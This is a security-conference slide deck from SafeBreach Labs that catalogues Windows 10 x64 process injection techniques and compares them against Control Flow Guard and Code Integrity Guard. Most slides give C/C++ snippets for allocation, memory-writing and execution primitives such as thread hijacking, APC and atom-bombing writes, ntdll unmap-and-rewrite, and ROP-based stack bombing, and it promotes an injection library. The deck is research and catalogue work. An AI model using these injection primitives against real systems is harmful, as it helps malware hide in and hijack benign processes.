Process Injection Techniques - Gotta Catch Them All

Amit Klein, VP Security Research
Itzik Kotler, CTO and co-founder

Safebreach Labs
About Itzik Kotler

• 15+ years in InfoSec
• CTO & Co-Founder of SafeBreach
• Presented in Black Hat, DEF CON, HITB, RSA, CCC and more.
• http://www.ikotler.org
About Amit Klein

- 28 years in InfoSec
- VP Security Research Safebreach (2015-Present)
- 30+ Papers, dozens of advisories against high profile products
- Presented in BlackHat, DefCon, HITB, NDSS, InfoCom, DSN, RSA, CertConf, Bluehat, OWASP Global, OWASP EU, AusCERT and more
- [http://www.securitygalore.com](http://www.securitygalore.com)
Why this research?

• No comprehensive collection/catalog of process injection techniques
• No separation of true injections from process hollowing/spawning
• No categorization (allocation vs. memory write vs. execution), analysis, comparison
• Update for Windows 10 (latest versions), x64
Kudos and hat-tip

• Kudos to the following individuals/companies, for inventing/developing/documenting/POCing many techniques:
  • Adam of Hexacorn
  • Odzhan
  • EnSilo
  • Csaba Fitzl AKA TheEvilBit
  • And many others...

• Hat tip to EndGame for providing the first compilation of injection techniques.
True process injection

- True process injection – from live userspace process (malware) to live userspace process (target, benign)
- In contrast to (out of scope):
  - Process spawning and hollowing – spawning the “target” process and injecting into it (especially before execution)
  - Pre-execution – e.g. DLL hijacking, AppCert, AppInit, LSP providers, Image File Execution Options, etc.
Windows 10, x64

- Windows 10
  - **CFG (Control Flow Guard)** – prevent indirect calls to non-approved addresses
  - **CIG (Code Integrity Guard)** - only allow modules signed by Microsoft/Microsoft Store/WHQL to be loaded into the process memory

- x64 (vs. x86)
  - **Calling convention** – first 4 arguments in (volatile) registers: RCX, RDX, R8, R9. Invoking functions (from ROP) necessitates control over some/all these registers.
  - **No POPA 😞** - writing ROP is more difficult (bootstrapping registers)
The enemy of a good PoC...

HANDLE th = OpenThread(THREAD_SET_CONTEXT|THREAD_QUERY_INFORMATION, FALSE, thread_id);
ATOM a = GlobalAddAtomA(payload);
NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a, (PVOID)(target_payload), (PVOID)(sizeof(payload)));
The scope

- True process injection
- Running “sequence” of logic/commands in the target process (not just spawning cmd.exe...)
- Windows 10 version 1803 and above
- x64 injecting process, x64 target process, both medium integrity
- Non-admin
- Evaluation against Windows 10 protections (CFG, CIG)
CFG strategy

- **Disable CFG**
  - Standard Windows API `SetProcessValidCallTargets()` can be used to deactivate CFG in the target process (remotely!)
  - Suspicious...
  - May be disabled/restricted in the future
- **Allocate/set executable memory** (+making all the allocation CFG-valid)
  - `VirtualAllocEx/VirtualProtectEx`
  - Suspicious...
- Playing by the rules – writing non-executable data (ROP chain), and using a **CFG-agnostic execution method** to run a stack pivot gadget (or similar)
  - Difficult...
Other defenses

- Used to be eliminated from the target process using `SetProcessMitigationPolicy`
  - 3 argument function, can be invoked remotely via `NtQueueApcThread`
- No longer works (1809).
- CIG is most painful (no loading of arbitrary DLLs)
Typical process injection building blocks

- **Memory allocation**
  - May be implicit (cave, stack, ...)
  - Page permission issues
  - Control over allocation address?
  - CFG validity?

- **Memory writing**
  - Restricted size/charset?
  - Atomic?

- **Execution**
  - Target has to be CFG-valid?
  - Control over registers?
  - Limitations/pre-requisites
Process injection techniques
Classic memory allocation technique

```c
HANDLE h = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id);
LPVOID target_payload = VirtualAllocEx(h, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
```

- Can allocate executable pages
- For executable pages, Windows automatically sets all the region to be CFG-valid
- Variant – allocating RW pages, then adding X with VirtualProtectEx
The classic WriteProcessMemory memory writing technique

```c
HANDLE h = OpenProcess(PROCESS_VM_WRITE, FALSE, process_id);
WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL);
```

- No prerequisites, no limitations. Address is controlled.
- CFG – if the allocation set execution privileges (e.g. VirtualAllocEx), then all the region is CFG-valid.
- CIG – no impact.
The classic CreateRemoteThread execution technique

```c
HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)target_execution, RCX, 0, NULL);
```

- Pre-requisites – none.
- CIG – no impact
- CFG – `target_execution` should be valid CFG target.
- Registers – control over RCX
A classic DLL injection execution technique

```c
HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, target_DLL_path, 0, NULL);
```

- Pre-requisites – the DLL is on disk; write-technique used to write the DLL path to the target process; DllMain is restricted (loader lock).
- CFG – no impact
- CIG – blocks this technique
- Variant: using `QueueUserAPC/NtQueueApcThread`
Another classic DLL injection execution technique

```c
HMODULE h = LoadLibraryA(dll_path);
HOOKPROC f = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessage hook
SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id);
PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook
```

- Pre-requisites – the DLL is on disk, exports e.g. GetMsgProc
- CFG – no impact
- CIG – blocks this technique
The classic APC execution technique

HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);

QueueUserAPC((LPCTSTR_THREAD_START_ROUTINE)target_execution, h, RCX);

or

NtQueueApcThread(h, (LPCTSTR_THREAD_START_ROUTINE)target_execution, RCX, RDX, R8D);

• Pre-requisites – thread must be in alertable state (next slide)
• CIG – no impact
• CFG – target_execution should be valid CFG target.
• Registers – control over RCX (NtQueueApcThread – RCX, RDX, R8D)
Alertable state functions

The following 5 functions (and their low-level syscall wrappers):

- SleepEx
  - NtDelayExecution
- WaitForSingleObjectEx
  - NtWaitForSingleObject
- WaitForMultipleObjectsEx
  - NtWaitForMultipleObjects
- SignalObjectAndWait
  - NtSignalAndWaitForSingleObject
- MsgWaitForMultipleObjectsEx (probably RealMsgWaitForMultipleObjectsEx)
  - NtUserMsgWaitForMultipleObjectsEx

Quite common!

Easily detected – RIP at internal function +0x14 (right after SYSCALL)
The classic thread hijacking execution technique (SIR)

```
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
SuspendThread(t);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
ctx.Rip = (DWORD64)target_execution;
SetThreadContext(t, &ctx);
ResumeThread(t);
```
SIR continued

- Pre-requisites: none.
- CFG – no impact (!) except RSP
- Control over registers: no guaranteed control over volatile registers (RAX, RCX, RDX, R8-R11). Control over RSP is limited (stack reservation limits).
- With RW memory (no X):
  - Use write primitive to write ROP chain to the target process
  - Set RIP to a stack pivot gadget to set RSP to the controlled memory
Ghost-writing (monolithic technique)

- Like thread hijacking, but without the memory writing part...
- Memory writing is achieved in steps, using SetThreadContext to set registers
- At the end of each step, the thread is running an infinite loop (success marker)
- Required ROP gadgets:
  - Sink gadget – infinite loop (JMP -2), marking the successful end of execution
  - Write gadget – e.g. MOV [RDI],RBX; ...; RET
  - Stack pivot or equivalent
- Step 1: use the write gadget to write the loop gadget into stack
  \[ \text{RDI}=\text{ctx.rsp}, \text{RBX}=\text{sink\_gadget}, \text{RIP}=\text{write\_gadget} \]
- Step 2: use the write gadget to write arbitrary memory (infinite loop after each QWORD): \[ \text{RDI}=\text{address}, \text{RBX}=\text{data}, \text{RSP}=\text{ctx.rsp}-8, \text{RIP}=\text{write\_gadget} \]
- Step 3: execute stack pivot (or equivalent): \[ \text{RSP}=\text{new\_stack}, \text{RIP}=\text{rop\_gadget} \]
Unused stack as memory - tips

- Maintain distance from the official TOS (leave room for WinAPI call stack)
- Don’t go too far – stack is limited (1MB)
- Grow (commit) the stack by touching memory at page size (4KB) intervals
- Mind the alignment (16B) when invoking functions
Ghost-writing (contd.)

- Pre-requisites: writable memory
- CFG: no impact (!) except RSP
- CIG: no impact
- Control over registers (step 3): no guaranteed control over volatile registers (RAX, RCX, RDX, R8-R11). Control over RSP is limited (stack reservation limits).
Shared memory writing technique

HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, section_name);

BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size);
memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload));

HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, process_id);

char* read_buf = new char[sizeof(payload)];

SIZE_T region_size;
for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size)
{
    MEMORY_BASIC_INFORMATION mem;
    SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem, sizeof(mem));
    ... Shared memory detection logic here ...
    region_size = mem.RegionSize;
}
if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect == PAGE_READWRITE) && (mem.RegionSize == section_size))
{
    ReadProcessMemory(h, (LPCVOID)(address+section_size-sizeof(payload)), read_buf, sizeof(payload), NULL);
    if (memcmp(read_buf, payload, sizeof(payload)) == 0)
    {
        // the payload is at address + section_size - sizeof(payload);
        ...
        break;
    }
}
Pre-requisites: target process has RW shared memory, attacker knows the name and size

- CFG – (shared) memory retains its access rights (typically not executable)
- CIG – no impact
Atom bombing write technique

Naïve code (payload length<256, with terminating NUL byte and no other NULs):

```c
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE, thread_id);
ATOM a = GlobalAddAtomA(payload);
NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a, (PVOID)(target_payload), (PVOID)(sizeof(payload)));
```

• Original paper doesn’t write NUL bytes (assumes zeroed out target memory) – we devised a technique to write NUL bytes

• Pre-requisites: thread must be in alertable state. `target_payload` is allocated, writable.

• CFG/CIG – no impact. `target_payload` retains its access rights (typically not executable)
NtMapViewOfSection (allocating+) writing technique

HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL);

LPVOID map_addr = MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0);

HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, process_id);

memcpy(map_addr, payload, sizeof(payload));

LPVOID target_payload = 0;

SIZE_T view_size = 0;

NtMapViewOfSection(fm, p, &target_payload, 0, sizeof(payload), NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE );
• Cannot be used for already allocated memory. If target_payload is 0, Windows chooses the address; if target_payload>0, Windows will map to there (but it has to be an un-allocated memory).

• Pre-requisites: none. Limitations: cannot write to allocated memory.

• CFG – memory allocated with page execution privileges becomes valid CFG target!

• CIG – not relevant
Unmap+rerwrite execution technique

```c
MODULEINFO ntdll_info;
HMODULE ntdll = GetModuleHandleA("ntdll");
GetModuleInformation(GetCurrentProcess(), ntdll, &ntdll_info, sizeof(ntdll_info));
LPVOID ntdll_copy = malloc(ntdll_info.SizeOfImage);
HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_SUSPEND_RESUME, FALSE, process_id);
NtSuspendProcess(p);
ReadProcessMemory(p, ntdll, ntdll_copy, ntdll_info.SizeOfImage, NULL);
... // Patch e.g. NtClose in ntdll_copy
NtUnmapViewOfSection(p, ntdll);
... // Allocate +(Re)write ntdll_copy to address ntdll in target process
FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage);
NtResumeProcess(p);
```
Pre-requisite: Write technique must be able to allocate (at least) RX pages in a specific address

CFG – all the original CFG-valid addresses in NTDLL should be CFG-valid (or else process may crash). However, both VirtualAllocEx and NtMapViewOfSection set whole section to CFG-valid when PAGE_EXECUTE is requested.

CIG – not relevant

Control over registers: no

Note that in order not to destabilize the process:
  • Process-wide suspend
  • Copying the complete NTDLL memory (incl. static variables)
Callback override execution techniques

- SetWindowLongPtr (SetWindowLong)
- PROPagate
- Kernel Callback Table
- Ctrl-Inject
- Service Control
- USERDATA
- ALPC callback
- CLIBRDWNDCLASS
- DnsQuery
- WNF callback
- Shatter-like:
  - WordWarping
  - Hyphentension
  - AutoCourgette
  - Streamception
  - Oleum
  - ListPLanting
  - Treepoline
Concept

- Write code to the target process using a writing technique
- Find/obtain a memory address of an object (with vtbl)/callback function
  - May be tricky – need to know that the process has the object/callback (e.g. ALPC, console apps, private clipboard)
  - Via API (e.g. GetWindowLongPtr)
  - Via memory search (e.g. ALPC)
- Replace the object/callback (using a writing technique or standard API) to point at a chosen function/code
  - Must be CFG-valid target
  - May require some object/code adjustments
- Trigger execution
  - May be tricky (e.g. DnsQuery)
- (Restore original object/callback)
**CtrlInject execution technique**

```c
HANDLE h = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id); // PROCESS_VM_OPERATION is required for RtlEncodeRemotePointer

void* encoded_addr = NULL;

ntdll!RtlEncodeRemotePointer(h, target_execution, &encoded_addr);

... // Use any Memory Write technique here to copy encoded_addr to kernelbase!SingleHandler in the target process

INPUT ip;

ip.type = INPUT_KEYBOARD;

ip.ki.wScan = 0;

ip.ki.time = 0;

ip.ki.dwExtraInfo = 0;

ip.ki.wVk = VK_CONTROL;

ip.ki.dwFlags = 0; // 0 for key press

SendInput(1, &ip, sizeof(INPUT));

Sleep(100);

PostMessageA(hWnd, WM_KEYDOWN, 'C', 0); // hWnd is a handle to the application window
```
memset/memmove write technique

```c
HMODULE ntdll = GetModuleHandleA("ntdll");
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
for (int i = 0; i < sizeof(payload); i++)
{
    NtQueueApcThread(t, GetProcAddress(ntdll, "memset"),
                     (void*)target_payload+i, (void*)(((BYTE*)payload)+i), 1);
}
// Can finish with an “atomic” NtQueueApcThread(t,
GetProcAddress(ntdll, "memmove"), (void*)target_payload_final,
(void*)target_payload, sizeof(payload));
```
• Prerequisites: thread must be in an alertable state, memory is allocated.
• CFG: not affected (ntdll!memset is CFG-valid), memory retains its original access rights (typically RW)
• CIG: not affected.
• Writes to any address
Stack-bombing execution technique

Naïve code (run and crash):

```c
HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &ctx);
DWORD64 ROP_chain = (DWORD64)ctx.Rsp; // for the 5 alertable state functions...
... // Adjust ROP_chain based on ctx.rip (or use APC...)
... // write ROP chain to ROP_chain memory address in target process
ResumeThread(t); // when the current function returns, it’ll execute the ROP chain
```
Alertable state internal functions

```
mov r10,rcx
mov eax,SERVICE_DESCRIPTOR
test byte ptr [SharedUserData+0x308],1
jne +3
syscall
ret
int 2E
ret
```

- No use of stack (tos=rsp=ptr to return address)
- No use of volatile registers after return from kernel – injected code can use them
Analysis

• Prerequisites: thread in alertable state (APC), or careful analysis of interrupted function; target (e.g. ROP gadget) should be RX.
• CFG – no impact(!). Can use ROP chain.
• CIG – no impact.
• Control over registers: not volatile ones.

Paper+Pinjectra has fully functional code (based on APC+memset)
From the FAIL Department

- SetWinEventHook (DLL injection execution technique)
  - No DLL injection (Windows 10 v1903). All events are “out-of-context”
  - When did it last work?

- Desktop Heap (write technique)
  - Implementation changed (in Windows 10?), desktop heap no longer shared among processes.

If you manage to run any of these on Windows 10 x64 version 1903, please let us know!
# Writing techniques

<table>
<thead>
<tr>
<th>Write Tech.</th>
<th>Prerequisites</th>
<th>Address control</th>
</tr>
</thead>
<tbody>
<tr>
<td>WriteProcessMemory</td>
<td>(none)</td>
<td>Full</td>
</tr>
<tr>
<td>Existing Shared Memory</td>
<td>Process has RW shared memory</td>
<td>(none)</td>
</tr>
<tr>
<td>Atom Bombing (APC)</td>
<td>Thread in alertable state</td>
<td>Full</td>
</tr>
<tr>
<td>NtMapViewOfSection</td>
<td>Target address is unallocated</td>
<td>Full</td>
</tr>
<tr>
<td>memset/memmove (APC)</td>
<td>Thread in alertable state</td>
<td>Full</td>
</tr>
</tbody>
</table>
**Execution techniques**

<table>
<thead>
<tr>
<th>Execution Tech.</th>
<th>Family</th>
<th>Prerequisites</th>
<th>CFG/CIG</th>
</tr>
</thead>
<tbody>
<tr>
<td>DLL injection via CreateRemoteThread</td>
<td>DLL injection</td>
<td>DLL on disk; loader lock</td>
<td>CIG requires MSFT signed DLL</td>
</tr>
<tr>
<td>CreateRemoteThread</td>
<td>(none)</td>
<td></td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>APC</td>
<td>Thread in alertable state</td>
<td></td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>Thread execution hijacking (SIR)</td>
<td>(none)</td>
<td></td>
<td>(none)</td>
</tr>
<tr>
<td>Windows hook</td>
<td>DLL injection</td>
<td>DLL on disk; target loads user32.dll</td>
<td>CIG requires MSFT signed DLL</td>
</tr>
<tr>
<td>Execution Tech.</td>
<td>Family</td>
<td>Prerequisites</td>
<td>CFG/CIG</td>
</tr>
<tr>
<td>---------------------------</td>
<td>------------------------</td>
<td>----------------------------------------</td>
<td>----------------------------------------</td>
</tr>
<tr>
<td>Ghost-writing</td>
<td>(none)</td>
<td>(none)</td>
<td>(none)</td>
</tr>
<tr>
<td>SetWindowLongPtr</td>
<td>Callback override</td>
<td>Extra windows bytes is a pointer to an object with a virtual table</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>Unmap+overwrite</td>
<td>(none)</td>
<td>(none)</td>
<td>(none)</td>
</tr>
<tr>
<td>PROPagate</td>
<td>Callback override</td>
<td>Process has subclassed window</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>Execution Tech.</td>
<td>Family</td>
<td>Prerequisites</td>
<td>CFG/CIG</td>
</tr>
<tr>
<td>----------------------</td>
<td>-------------------</td>
<td>----------------------------------------</td>
<td>----------------------------------------------</td>
</tr>
<tr>
<td>Kernel Callback Table</td>
<td>Callback override</td>
<td>Process must own a window</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>Ctrl-Inject</td>
<td>Callback override</td>
<td>Console app.</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>Service Control</td>
<td>Callback override</td>
<td>Service</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>USERDATA</td>
<td>Callback override</td>
<td>Console app.</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>ALPC callback</td>
<td>Callback override</td>
<td>Open ALPC port</td>
<td>Target must be CFG-valid</td>
</tr>
</tbody>
</table>
(contd.)

<table>
<thead>
<tr>
<th>Execution Tech.</th>
<th>Family</th>
<th>Prerequisites</th>
<th>CFG/CIG</th>
</tr>
</thead>
<tbody>
<tr>
<td>WNF callback</td>
<td>Callback override</td>
<td>Process must use WNF</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>Shatter-style: WordWarping,</td>
<td>Callback override</td>
<td>window with RichEdit control</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>Hyphentension, AutoCourgette(?)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Streamception, Oleum</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Shatter-style: Listplanting,</td>
<td>Callback override</td>
<td>window with ListView control</td>
<td>Target must be CFG-valid</td>
</tr>
<tr>
<td>Treepoline</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
(contd.)

<table>
<thead>
<tr>
<th>Execution Tech.</th>
<th>Family</th>
<th>Prerequisites</th>
<th>CFG/CIG</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stack Bombing</td>
<td></td>
<td>(thread in alertable state)</td>
<td>(none)</td>
</tr>
</tbody>
</table>
Bonus: System DLL names for free

- So you want to force loading a system DLL to a target process?
  - Maybe your favorite ROP gadget is there
  - e.g. QueueUserAPC(LoadLibraryA, thread, ptr to DLL name)
- And you won’t/can’t write its name to the target process
  - Maybe you can’t use a memory writing technique
- But the system DLL name is already there!
  - Kernelbase contains a list of 1000+ system DLL names
  - In Kernelbase!g_DllMap+8 there is a pointer to an array of structures, each one 3 QWORDS, where the first QWORD is a pointer to a system DLL name (ASCII, NUL-terminated), in kernelbase’s .rdata section. For example:
Meet PINJECTRA

• Version: 1.0 (Initial release)

• Programming Language: C/C++

• License: 3-Clause BSD

• URL: https://github.com/SafeBreach-Labs/pinjectra
PINJECTRA -- High Level Overview

- Visual Studio Solution that contains 4 Projects:
  - MsgBoxOnGetMsgProc ← DLL Artifact
  - MsgBoxOnProcessAttach ← DLL Artifact
  - Pinjectra ← Techniques & Demo Program
  - TestProcess ← Dummy Testing Program

- Utilizes C/C++ static type system to provide a mix & match experience to rapid develop new process injection techniques, as well as to experiment with already-existing one
Stack Bombing Impl. in PINJECTRA:

```java
StackBombingImpl().
```

```java
e = new CodeViaThreadSuspendInjectAndResume_Complex(
    new NtQueueApcThread_WITH_memset(
        new _ROP_CHAIN_1()
    )
);

e->inject(pid, tid);
```
Ghost Writing Impl. in PINJECTRA:

```java
    e = new CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex(
        new GhostWriting(
            new _ROP_CHAIN_2()
        )
    );

    e->inject(pid, tid);
```
Ghost Writing Demo
UnmapMap Impl. in PINJECTRA:

```java
  e = new CodeViaProcessSuspendInjectAndResume_Complex(
      new CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection(
          new _PAYLOAD_5()
      )
  );

  e->inject(pid, tid);
```
UnmapMap Demo
SetWindowLongPtr Impl. in PINJECTRA:

e = new CodeViaSetWindowLongPtrA(
    new ComplexToMutableAdvanceMemoryWriter(
        new _PAYLOAD_4()
    ),
    new VirtualAllocEx_WriteProcessMemory(
        NULL,
        0,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE)
));

e->inject(pid, tid);
SetWindowLongPtr Demo
Atom Bombing Impl. in PINJECTRA:

e = new CodeViaQueueUserAPC(
    new OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA(
        _gen_payload_2(),
        PAYLOAD3_SIZE,
        PROCESS_ALL_ACCESS,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE)
);

e->inject(pid, tid);
Atom Bombing Demo
Summary (sound-bytes)

• We map the vast territory of “true” process injection, and provide an analysis and a comparison in a **single collection/repository**

• We provide a library (**PINJECTRA**) for mix-and-match generation of process injection attacks

• We describe a new CFG-agnostic execution technique – **stack bombing** (and a memory writing technique – memset/memcpy over APC)
Thank you!

Questions?